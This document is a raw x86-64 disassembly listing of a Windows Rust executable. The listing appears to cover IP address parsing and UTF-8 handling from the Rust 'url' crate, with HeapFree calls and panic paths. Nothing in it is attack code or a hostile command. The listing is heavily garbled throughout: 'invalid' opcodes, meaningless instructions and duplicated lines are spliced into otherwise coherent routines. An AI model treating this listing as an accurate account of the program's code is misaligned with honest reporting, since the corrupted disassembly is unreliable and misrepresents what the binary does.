mov qword [rsp + 0xc8], r14
mov byte [rsp + 0xd0], 1
movabs al, byte [0xa824948d48000000]
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xa824
add byte [rax - 0x77], cl
pushfq
and al, 0xb0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0xc0
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xc8
add byte [rax], al
add dh, al
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx], al
mov word [rsp + 0xd8], 1
lea rcx, [rsp + 0x30]
and al, 0x30
call fcn.140032da0
cmp qword [rsp + 0x30], 0
je 0x1400f5cae
mov rbx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
mov r15, qword [rsp + 0x98]
sub rbx, r15
mov esp, 0x9824
add byte [rcx + rbp - 5], cl
add r15, rdi
mov qword [rsp + 0x98], rax
jmp 0x1400f5cf2
lea rcx, [rsp + 0x30]
call fcn.1400f6220
test rax, rax
je 0x1400f5c9e
test rdx, rdx
jne 0x1400f5bcc
mov qword [rsi], r13
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rbx
jmp 0x1400f5aec
cmp byte [rsp + 0xd9], 0
jne 0x1400f61eb
mov byte [rsp + 0xd9], 1
cmp byte [rsp + 0xd8], 0
mov r15, qword [rsp + 0x98]
mov rbx, qword [rsp + 0xa0]
jne 0x1400f5ce7
cmp rbx, r15
je 0x1400f61eb
sub rbx, r15
add r15, qword [rsp + 0xa8]
movzx eax, byte [0x140182310]
mov edx, 0x40
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400f6203
mov r14, rax
mov qword [rax], r15
mov qword [rax + 8], rbx
mov qword [rsp + 0xf0], 4
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 1
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x70], rax
movdqu xmm0, xmmword [rsp + 0x98]
movdqu xmm1, xmmword [rsp + 0xa8]
movdqu xmm2, xmmword [rsp + 0xb8]
movdqu xmm3, xmmword [rsp + 0xc8]
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x50], xmm2
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
mov ebx, 1
cmp byte [rsp + 0x71], 0
je 0x1400f5e73
mov r15, qword [rsp + 0xf8]
test rbx, rbx
je 0x1400f5db8
test r15, r15
je 0x1400f5db8
lea rax, [rbx - 1]
mov rcx, rax
shl rcx, 4
cmp qword [r15 + rcx + 8], 0
cmove rbx, rax
mov rax, qword [rsp + 0xf0]
cmp rbx, 4
jbe 0x1400f5de0
test rax, rax
je 0x1400f5fff
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
jmp 0x1400f5ff9
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 4
mov qword [rsp + 0x40], 0
test rbx, rbx
mov qword [rsp + 0xe0], r15
je 0x1400f5f4a
shl rbx, 4
add rbx, r15
mov r14d, 4
xor r12d, r12d
jmp 0x1400f5e3f
mov dword [r14 + r12*4], ebp
inc r12
mov qword [rsp + 0x40], r12
add r15, 0x10
cmp r15, rbx
je 0x1400f5f4d
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.1400f62b0
cmp eax, 1
jne 0x1400f5fc1
mov ebp, edx
cmp r12, qword [rsp + 0x30]
jne 0x1400f5e26
lea rcx, [rsp + 0x30]
call fcn.14003fc00
mov r14, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
jmp 0x1400f5e26
mov ebp, 0x18
jmp 0x1400f5ecb
mov r15, qword [rsp + 0x110]
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x30]
sub r15, rcx
add r12, rcx
mov qword [rsp + 0x30], rax
cmp rbx, qword [rsp + 0xf0]
je 0x1400f5f2d
mov qword [r14 + rbp - 8], r12
mov qword [r14 + rbp], r15
inc rbx
inc ebx
inc ebx
mov qword [rsp + 0x100], rbx
add rbp, 0x10
cmp byte [rsp + 0x71], 0
jne 0x1400f5d91
mov r12, qword [rsp + 0x40]
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x40]
call fcn.140032da0
cmp qword [rsp + 0x108], 0
jne 0x1400f5e7a
cmp byte [rsp + 0x71], 0
jne 0x1400f5d91
invalid
invalid
invalid
mov byte [rsp + 0x71], 1
cmp byte [rsp + 0x70], 0
mov r12, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
jne 0x1400f5f17
cmp r15, r12
je 0x1400f5d91
sub r15, r12
add r12, qword [rsp + 0x40]
cmp rbx, qword [rsp + 0xf0]
jne 0x1400f5ea8
lea rcx, [rsp + 0xf0]
mov rdx, rbx
call fcn.14010d220
mov r14, qword [rsp + 0xf8]
jmp 0x1400f5ea8
xor r12d, r12d
cmp qword [rsp + 0xe8], 0
je 0x1400f5f6f
mov rcx, qword [0x140182260]
or eax, 0x8c301
xor edx, edx
mov r8, qword [rsp + 0xe0]
call qword [sym.imp.kernel32.dll_HeapFree]
test r12, r12
je 0x1400f61eb
lea rdx, [r12 - 1]
mov r8, qword [rsp + 0x38]
mov ebx, dword [r8 + r12*4 - 4]
pop rsp
movabs al, byte [0xd50c8dfc]
pop rsp
movabs al, byte [0xd50c8dfc]
mov eax, 0xffffffff
shr eax, cl
cmp ebx, eax
ja 0x1400f5fe3
lea rax, [r8 + r12*4]
add rax, 0xfffffffffffffffc
add eax, 0xfffffffc
add eax, 0xfffffffc
lea rcx, [r12*4 - 4]
xor r9d, r9d
cmp rcx, r9
je 0x1400f6006
cmp dword [r8 + r9], 0xff
lea r9, [r9 + 4]
lea ecx, [rcx + 4]
lea ecx, [rcx + 4]
jbe 0x1400f5fac
jmp 0x1400f5fe3
cmp qword [rsp + 0xe8], 0
add byte [rax], al
add byte [rax], al
je 0x1400f5fe3
mov rcx, qword [0x140182260]
or byte [rax], al
xor edx, edx
mov r8, qword [rsp + 0xe0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x30], 0
je 0x1400f5fff
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov al, 3
jmp 0x1400f5ac5
test rdx, rdx
je 0x1400f603f
movabs rcx, 0x3ffffffffffffffe
add r12, rcx
movabs r9, 0x3fffffffffffffff
and r9, r12
xor ecx, ecx
cmp r9, 7
jae 0x1400f604e
invalid
and dword [rcx + rcx*4 - 0x3e], ecx
mov rdx, r8
movabs r14, 0x8000000000000000
jmp 0x1400f613b
movabs r14, 0x8000000000000000
jmp 0x1400f6163
inc r9
mov rcx, r9
and rcx, 0xfffffffffffffff8
lea rdx, [r8 + rcx*4]
movd xmm1, ebx
movdqa xmm2, xmmword [0x140113ae0]
outsd dx, dword [rsi]
adc eax, 0x1da78
outsd dx, dword [rsi]
adc eax, 0x1da78
pxor xmm0, xmm0
xor r10d, r10d
shl byte [rsi + 0xf], cl
outsd dx, dword [rsi]
sbb eax, 0x1da79
shl byte [rsi + 0xf], cl
outsd dx, dword [rsi]
sbb eax, 0x1da79
movdqa xmm4, xmmword [0x140113b00]
outsd dx, dword [rsi]
and eax, 0x1da81
movdqa xmm5, xmmword [str._b_b_b_b]
movabs r14, 0x8000000000000000
movdqa xmm6, xmm2
pslld xmm6, 3
movdqa xmm7, xmm3
psubd xmm7, xmm6
movdqu xmm6, xmmword [r8 + r10*4]
movdqu xmm8, xmmword [r8 + r10*4 + 0x10]
movq mm0, qword [r8 + r10*4 + 0x10]
movq mm0, qword [r8 + r10*4 + 0x10]
pand xmm7, xmm3
pslld xmm7, 0x17
paddd xmm7, xmm4
cvttps2dq xmm7, xmm7
pshufd xmm9, xmm6, 0xf5
pmuludq xmm6, xmm7
pshufd xmm6, xmm6, 0xe8
pshufd xmm10, xmm7, 0xf5
pmuludq xmm9, xmm10
pshufd xmm9, xmm9, 0xe8
punpckldq xmm6, xmm9
paddd xmm1, xmm6
pmuludq xmm7, xmm8
pshufd xmm6, xmm7, 0xe8
pshufd xmm7, xmm8, 0xf5
pmuludq xmm7, xmm10
pshufd xmm7, xmm7, 0xe8
punpckldq xmm6, xmm7
paddd xmm0, xmm6
add r10, 8
paddd xmm2, xmm5
cmp rcx, r10
jne 0x1400f6091
paddd xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddd xmm1, xmm0
pshufd xmm0, xmm1, 0x55
paddd xmm0, xmm1
movd ebx, xmm0
cmp r9, rcx
je 0x1400f6163
shl ecx, 3
mov r9d, 0x18
sub r9d, ecx
mov r10d, dword [rdx]
mov ecx, r9d
and cl, 0x18
shl r10d, cl
add rdx, 4
add ebx, r10d
add r9d, 0xfffffff8
cmp rdx, rax
jne 0x1400f6147
bswap ebx
mov ebp, ebx
shr ebp, 8
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], r14
mov byte [rsi + 8], bl
shr ebx, 0x18
mov byte [rsi + 0xb], bl
mov word [rsi + 9], bp
test r13, r13
jne 0x1400f5ada
jmp 0x1400f5aec
call fcn.140010970
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov rax, r8
mov r8d, 1
mov rcx, rdx
mov rdx, rax
xor r9d, r9d
call fcn.140108ac0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov rax, r8
mov r8d, 1
mov rcx, rdx
mov rdx, rax
call fcn.140108ac0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
call fcn.140108970
lea rcx, str.a_non_empty_list_of_numbers
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 0x1b
call fcn.140108990
mov ecx, 8
mov edx, 0x40
call fcn.1401082a0
int3
lea rdx, [rcx + 0x10]
mov rdi, rcx
mov rsi, qword [rcx + 0x10]
lea rcx, [rsp + 0x20]
call fcn.1400f69f0
cmp qword [rsp + 0x20], 0
je 0x1400f628d
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rdi + 8]
sub rdx, rcx
sub edx, ecx
sub edx, ecx
mov qword [rdi + 8], rax
jmp 0x1400f629b
test edx, edx
jne 0x1400f62a1
mov rcx, rsi
cmp byte [rsi + 0x41], 0
je 0x1400f6236
xor eax, eax
jmp 0x1400f62a1
shr bl, 0x14
mov byte [rdi + 0x41], 1
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
sub rdx, rcx
mov rax, rsi
add rax, rcx
add rsp, 0x38
pop rdi
pop rsi
ret
stc
or dh, byte [rdx - 0x1b]
xor r8d, r8d
jmp 0x1400f63ca
jns 0x1400f631b
mov edi, 0xcd8e0f
add byte [rax], al
jle 0x1400f63ee
lea r9, [rcx + 1]
lea r10, [rdx - 1]
mov r8d, 1
add dword [rbp + rcx*4 + 0x52], ecx
inc dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
nop
cmp rdx, r8
je 0x1400f63ad
movzx r11d, byte [rcx + r8]
and r11b, 0xf8
inc r8
cmp r11b, 0x30
je 0x1400f6330
jmp 0x1400f62eb
ror byte [rax - 0x7d], 0xfa
cli
add esi, dword [rdx + 0x4c]
cmp byte [rcx + 2], 0xbf
jle 0x1400f63d4
lea r9, [rcx + 2]
lea r10, [rdx - 2]
mov r11d, 2
add cl, byte [r13 + rcx*4 + 0x52]
inc byte [rcx - 0x45]
add al, byte [rax]
add byte [rax], al
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
nop word cs:[rax + rax]
cmp rdx, r11
je 0x1400f63a5
movzx esi, byte [rcx + r11]
lea edi, [rsi - 0x30]
inc r11
cmp dil, 0xa
jb 0x1400f6370
and sil, 0xdf
add sil, 0xbf
cmp sil, 6
jb 0x1400f6370
jmp 0x1400f63ca
xor al, 0x41
mov eax, 0xa
jmp 0x1400f63b9
mov r8d, 0x10
adc byte [rax], al
add byte [rax], al
jmp 0x1400f63b3
mov r8d, 8
mov rcx, r9
mov rdx, r10
call fcn.140019540
mov r8, rax
shr r8, 0x20
not eax
and eax, 1
mov edx, r8d
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rdi
pop rsi
ret
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov r8d, 2
mov r9, rdx
call fcn.140108ac0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov qword [rsp + 0x20], rax
mov r8d, 1
mov r9, rdx
call fcn.140108ac0
int3
invalid
mov word [rcx], 0x401
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
add al, byte [rax]
add byte [rax], al
jmp 0x1400f6461
mov r10d, 1
mov esi, 0xffffffff
nop dword [rax]
cmp r11, r8
jae 0x1400f6647
cmp rax, 8
je 0x1400f642c
cmp byte [rdx + r11], 0x3a
je 0x1400f6532
lea r14, [r11 + 4]
cmp r8, r14
cmovb r14, r8
xor edi, edi
mov rbx, r11
cmp r11, r14
jb 0x1400f64bd
jmp 0x1400f64f0
shl edi, 4
or edi, ebp
inc rbx
cmp r14, rbx
invalid
je 0x1400f6510
fidiv word [rbx + rdx*2 + 0x44]
movzx edi, byte [rdx + rbx]
movzx r15d, byte [rdx + rbx]
lea ebp, [r15 - 0x30]
cmp ebp, 0xa
jb 0x1400f64b0
or r15d, 0x20
add r15d, 0xffffff9f
add r15d, 0xa
cmovb r15d, esi
mov ebp, r15d
cmp r15d, 0xf
jbe 0x1400f64b0
nop word cs:[rax + rax]
cmp rbx, r8
jae 0x1400f6518
movzx ebp, byte [rdx + rbx]
cmp ebp, 0x3a
jne 0x1400f654d
inc rbx
mov r11, rbx
cmp rbx, r8
jne 0x1400f651b
jmp 0x1400f642c
mov rbx, r14
cmp rbx, r8
jb 0x1400f64f5
mov r11, rbx
cmp rax, 7
ja 0x1400f6837
mov word [rsp + rax*2 + 0x20], di
inc rax
jmp 0x1400f6470
test r9b, 1
jne 0x1400f642c
inc r11
inc rax
mov r9b, 1
mov r10, rax
jmp 0x1400f6470
cmp ebp, 0x2e
jne 0x1400f642c
cmp rbx, r11
je 0x1400f642c
cmp rax, 6
ja 0x1400f642c
cmp r11, r8
jae 0x1400f642c
xor esi, esi
test esi, esi
jle 0x1400f658f
cmp esi, 4
jae 0x1400f642c
cmp byte [rdx + r11], 0x2e
jne 0x1400f642c
inc r11
cmp r11, r8
jae 0x1400f642c
movzx ebx, byte [rdx + r11]
add bl, 0xd0
cmp bl, 9
ja 0x1400f642c
movzx edi, bl
inc r11
mov r14, r11
cmp r11, r8
mov r11, r8
je 0x1400f660d
nop word [rax + rax]
movzx r11d, byte [rdx + r14]
add r11b, 0xd0
cmp r11b, 0xa
jae 0x1400f6601
test di, di
je 0x1400f642c
add edi, edi
lea ebp, [rdi + rdi*4]
movzx edi, r11b
add edi, ebp
movzx r11d, di
fild word [rcx - 0x7f]
sti
inc dword [rax]
add byte [rax], al
ja 0x1400f642c
inc r14
cmp r8, r14
cmp eax, esi
jne 0x1400f65c0
mov r11, r8
jmp 0x1400f660d
mov r11, r14
cmp bl, 0xa
jae 0x1400f642c
cmp rax, 8
jae 0x1400f684b
or byte [rdi], cl
xor dword [rdx + rax], 0
add byte [rdi], cl
mov bh, 0x5c
and cl, r8b
jrcxz 0x1400f6627
movzx ebx, word [rsp + rax*2 + 0x20]
shl ebx, 8
add edi, ebx
mov word [rsp + rax*2 + 0x20], di
mov edi, esi
or edi, 2
cmp edi, 3
jne 0x1400f6633
test dword [rbx - 0x7cfd31], 0x48037503
inc eax
inc rax
inc esi
cmp r11, r8
jb 0x1400f6574
cmp esi, 4
jne 0x1400f642c
test r9b, 1
je 0x1400f67f2
mov rdx, rax
sub rdx, r10
je 0x1400f67fc
lea r9, [rax - 1]
cmp r9, 8
cmp ecx, 8
jae 0x1400f6862
movzx r8d, word [rsp + 0x2e]
movzx r9d, word [rsp + rax*2 + 0x1e]
mov word [rsp + 0x2e], r9w
mov word [rsp + rax*2 + 0x1e], r8w
mov r9, rdx
dec r9
je 0x1400f67fc
test byte [rbp + 1], ch
add byte [rax], al
test byte [rbp + 1], ch
add byte [rax], al
dec r10
add r9, r10
cmp r9, 7
ja 0x1400f6862
movzx eax, word [rsp + 0x2c]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2c], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
mov ecx, edx
mov ecx, edx
add r9, 0xfffffffffffffffe
je 0x1400f67fc
add r9, r10
cmp r9, 7
ja 0x1400f6862
movzx eax, word [rsp + 0x2a]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x2a], r8w
and al, 0x2a
and al, 0x2a
and al, 0x2a
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffd
je 0x1400f67fc
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
add r9, r10
cmp r9, 7
ja 0x1400f6862
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x44
and al, 0x28
movzx eax, word [rsp + 0x28]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x28], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffc
je 0x1400f67fc
add r9, r10
cmp r9, 7
ja 0x1400f6862
movzx eax, word [rsp + 0x26]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x26], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffb
je 0x1400f67fc
add r9, r10
cmp r9, 7
ja 0x1400f6862
movzx eax, word [rsp + 0x24]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x24], r8w
mov word [rsp + r9*2 + 0x20], ax
mov r9, rdx
add r9, 0xfffffffffffffffa
je 0x1400f67fc
add r9, r10
cmp r9, 7
ja 0x1400f6862
movzx eax, word [rsp + 0x22]
movzx r8d, word [rsp + r9*2 + 0x20]
mov word [rsp + 0x22], r8w
mov word [rsp + r9*2 + 0x20], ax
mov rax, rdx
add rax, 0xfffffffffffffff9
je 0x1400f67fc
add r10, rax
cmp r10, 7
ja 0x1400f685f
movzx eax, word [rsp + 0x20]
movzx r8d, word [rsp + r10*2 + 0x20]
mov word [rsp + 0x20], r8w
mov word [rsp + r10*2 + 0x20], ax
mov dword [rsp + r10*2 + 0x20], eax
mov dword [rsp + r10*2 + 0x20], eax
cmp rdx, 8
je 0x1400f67fc
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 8
mov rcx, 0xffffffffffffffff
call fcn.1401085b0
cmp rax, 8
jne 0x1400f642c
pxor xmm0, xmm0
movdqa xmm1, xmmword [rsp + 0x20]
movdqa xmm2, xmm1
outsd dx, dword [rsi]
shl dword [rsi + 0xf], 1
push 0x700ff2d0
sal byte [rcx - 0x2d8ff00d], cl
mov cl, 0x66
punpcklbw mm1, mm0
outsd dx, dword [rsi]
shl dword [rsi + 0xf], 1
push 0x700ff2d0
sal byte [rcx - 0x2d8ff00d], cl
mov cl, 0x66
punpcklbw mm1, mm0
pshuflw xmm0, xmm1, 0xb1
pshufhw xmm0, xmm0, 0xb1
packuswb xmm0, xmm2
movdqu xmmword [rcx + 1], xmm0
mov byte [rcx], 0
jmp 0x1400f6431
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 8
mov rcx, rax
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 8
mov rcx, rax
call fcn.1401085b0
mov r9, r10
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rsH_
mov edx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
mov rcx, r9
call fcn.1401085b0
int3
int3
sub rbx, rbp
movzx ecx, byte [rsi + r14 - 1]
mov rdx, r15
mov r8, rbx
call fcn.140018130
cmp rax, 1
jne 0x1400f6b24
mov rbx, rdx
add rbx, rbp
mov r13, rbx
sub r13, qword [rsp + 0x30]
jb 0x1400f6b0f
mov r15, r13
add r15, r14
jb 0x1400f6b0f
cmp r15, r12
ja 0x1400f6b0f
mov rax, qword [rsp + 0x38]
lea rcx, [rax + r13]
mov rdx, rsi
mov r8, r14
mov eax, esi
mov eax, esi
call fcn.140106bb0
test eax, eax
je 0x1400f6b4d
mov qword [rdi + 0x18], rbx
cmp rbp, rbx
ja 0x1400f6b2f
pop rdi
sbb byte [rax + 0x39], cl
fnsave dword [rdi + 0x17]
cmp rbx, r12
mov r15, qword [rsp + 0x40]
jbe 0x1400f6ac0
jmp 0x1400f6b2f
mov qword [rdi + 0x18], rbp
xor eax, eax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
mov qword [rax], rcx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rdi + 0x18], r13
mov rax, qword [rsp + 0x28]
mov qword [rax + 8], r13
mov qword [rax + 0x10], r15
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x1400f6b2a
mov eax, esi
call fcn.140106530
add rbx, rsi
mov qword [rdi + 0x10], rbx
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
fimul dword [rcx - 0x77]
invalid
int1
dec esp
int3
push rsp
and al, 0x2d
mov edi, 2
jmp 0x1400f6cdd
add byte [rcx], al
add byte [rbx + 0x27], dh
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2e], dl
mov edi, 3
mov edi, 3
jmp 0x1400f6cdd
rol cl, 1
call 0x14c4e90c8
or byte [rax - 0x76d2dbbc], 0xd0
shr eax, 6
and al, 0x3f
or al, 0x80
invalid
mov byte [rsp + 0x2e], al
and al, 0x2e
and al, 0x2e
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x2f], dl
invalid
mov edi, 4
mov rax, qword [rsi]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x1400f6d0f
invalid
and ecx, dword [rax - 0x75]
or byte [rax + 1], r9b
invalid
mov rcx, qword [rsi + 8]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call fcn.140106530
add rbx, rdi
mov qword [rsi + 0x10], rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.140108ba0
mov rbx, qword [rsi + 0x10]
jmp 0x1400f6cec
int3
cmp dword [rcx + 0x18], 0
je 0x1400f6d40
lea rax, [rcx + 0x1c]
jmp 0x1400f6d4a
cmp dword [rcx + 0x20], 0
je 0x1400f6d96
lea rax, [rcx + 0x24]
mov r9d, dword [rax]
mov r8d, dword [rcx + 0x3c]
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
cmp r8d, r9d
ja 0x1400f6dce
test r8, r8
je 0x1400f6d73
cmp rdx, r8
jbe 0x1400f6d71
cmp byte [rax + r8], 0xc0
jge 0x1400f6d73
invalid
add al, 0xeb
pop rbp
jmp 0x1400f6dce
jne 0x1400f6dce
test r9, r9
je 0x1400f6d88
cmp rdx, r9
jbe 0x1400f6d86
cmp byte [rax + r9], 0xc0
jge 0x1400f6d88
jmp 0x1400f6dce
jne 0x1400f6dce
sub r9, r8
add rax, r8
mov rdx, r9
add rsp, 0x28
ret
mov r8d, dword [rcx + 0x3c]
mov rax, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
test r8, r8
je 0x1400f6d88
cmp r9, r8
jbe 0x1400f6db5
cmp byte [rax + r8], 0xc0
jge 0x1400f6d88
jmp 0x1400f6db7
je 0x1400f6d88
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r9
call fcn.140108ac0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.140108ac0
int3
lea rdx, [r8 + 1]
mov rbp, rdx
sub rbp, r8
invalid
add rbp, rax
cmp r9d, 0x21
jae 0x1400f6f66
mov rax, rbp
cmp rdx, rcx
je 0x1400f6f5b
mov r8, rdx
movzx edx, byte [rdx]
movzx r9d, dl
mov dh, 0xca
test r9b, r9b
jns 0x1400f6eb0
mov r10d, r9d
mov edx, ecx
and r10d, 0x1f
movzx ebp, byte [r8 + 1]
and ebp, 0x3f
cmp r9b, 0xdf
jbe 0x1400f6f35
movzx r11d, byte [r8 + 2]
shl ebp, 6
mov dh, 0x58
add al, cl
in eax, 6
and r11d, 0x3f
or r11d, ebp
cmp dl, 0xf0
jb 0x1400f6f48
lea rdx, [r8 + 4]
movzx r9d, byte [r8 + 3]
push rax
add al, 0x45
movzx ecx, byte [rax + 3]
and r10d, 7
shl r10d, 0x12
adc al, byte [rcx - 0x3f]
jrcxz 0x1400f6f26
adc al, byte [rcx - 0x3f]
jrcxz 0x1400f6f26
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
fld dword [rbp + 9]
rol dword [rcx - 0x7f], 1
stc
add byte [rax], al
adc dword [rax], eax
jne 0x1400f6eb4
jmp 0x1400f6f6b
lea rdx, [r8 + 2]
shl r10d, 6
or r10d, ebp
invalid
mov r9d, r10d
jmp 0x1400f6eb4
invalid
lea rdx, [r8 + 3]
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
jmp 0x1400f6eb4
xor r8d, r8d
mov rbp, rax
mov rdx, rcx
jmp 0x1400f6f92
mov r8b, 1
jmp 0x1400f6f92
xor r8d, r8d
mov rbp, rax
jmp 0x1400f6f92
lea rcx, [r9 - 1]
movzx r10d, r10b
cmp r10d, 0x20
ja 0x1400f7022
and byte [rdi], cl
xchg dword [rax + 0x48000000], edx
cmp edx, ecx
cmp rdx, rcx
je 0x1400f7007
mov r9, rcx
movzx r10d, byte [rcx - 1]
test r10b, r10b
jns 0x1400f6f80
movzx r11d, byte [r9 - 2]
cmp r11b, 0xc0
jge 0x1400f6fd2
movzx r14d, byte [r9 - 3]
mov dh, 0x71
std
cmp r14b, 0xbf
jg 0x1400f6fdc
lea rcx, [r9 - 4]
movzx esi, byte [r9 - 4]
and esi, 7
invalid
shl esi, 6
and r14d, 0x3f
or r14d, esi
jmp 0x1400f6fe4
invalid
lea rcx, [r9 - 2]
lea ecx, [rcx - 2]
and r11d, 0x1f
jmp 0x1400f6fef
lea rcx, [r9 - 3]
and r14d, 0xf
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
shl r11d, 6
and r10b, 0x3f
movzx r10d, r10b
or r10d, r11d
cmp r10d, 0x110000
jne 0x1400f6f88
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
cmove rbp, rcx
lea r14, [rdi + rax]
test r15, r15
jne 0x1400f703e
jmp 0x1400f7139
sub rbp, rdx
add rbp, r9
xor ecx, ecx
test r8b, r8b
cmove rax, rcx
lea r14, [rdi + rax]
test r15, r15
je 0x1400f7139
mov rcx, rbp
sub rcx, rax
cmp rcx, r12
jae 0x1400f7052
mov rcx, r15
mov dl, 1
call qword [r13 + 0x28]
lea rax, [rdi + rbp]
mov ecx, 0x2600
mov rdx, r14
jmp 0x1400f708a
add rdx, 2
shl r9d, 6
or r9d, r12d
mov r8d, r9d
cmp r8d, 0xd
ja 0x1400f708a
nop word cs:[rax + rax]
bt ecx, r8d
jb 0x1400f7130
cmp rdx, rax
je 0x1400f7139
ret 0x840f
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400f70b0
inc rdx
cmp r8d, 0xd
jbe 0x1400f7080
jmp 0x1400f708a
mov r9d, r8d
and r9d, 0x1f
loope 0x1400f70d6
movzx r12d, byte [rdx + 1]
and r12d, 0x3f
cmp r8b, 0xdf
fbstp tbyte [rsi - 0x66]
movzx r10d, byte [rdx + 2]
shl r12d, 6
push rdx
add al, byte [rcx - 0x3f]
in al, 6
and r10d, 0x3f
or r10d, r12d
cmp r11b, 0xf0
invalid
jb 0x1400f7113
invalid
movzx r8d, byte [rdx + 3]
movzx eax, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
loope 0x1400f70fb
shl r10d, 6
loop 0x1400f70f3
loop 0x1400f70f3
and r8d, 0x3f
or r8d, r10d
rol byte [rbp + 9], 1
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
or r8d, r9d
cmp r8d, 0x110000
je 0x1400f7139
add rdx, 4
cmp r8d, 0xd
jbe 0x1400f7080
jmp 0x1400f708a
ja 0x1400f7110
invalid
invalid
add rdx, 3
shl r9d, 0xc
or r10d, r9d
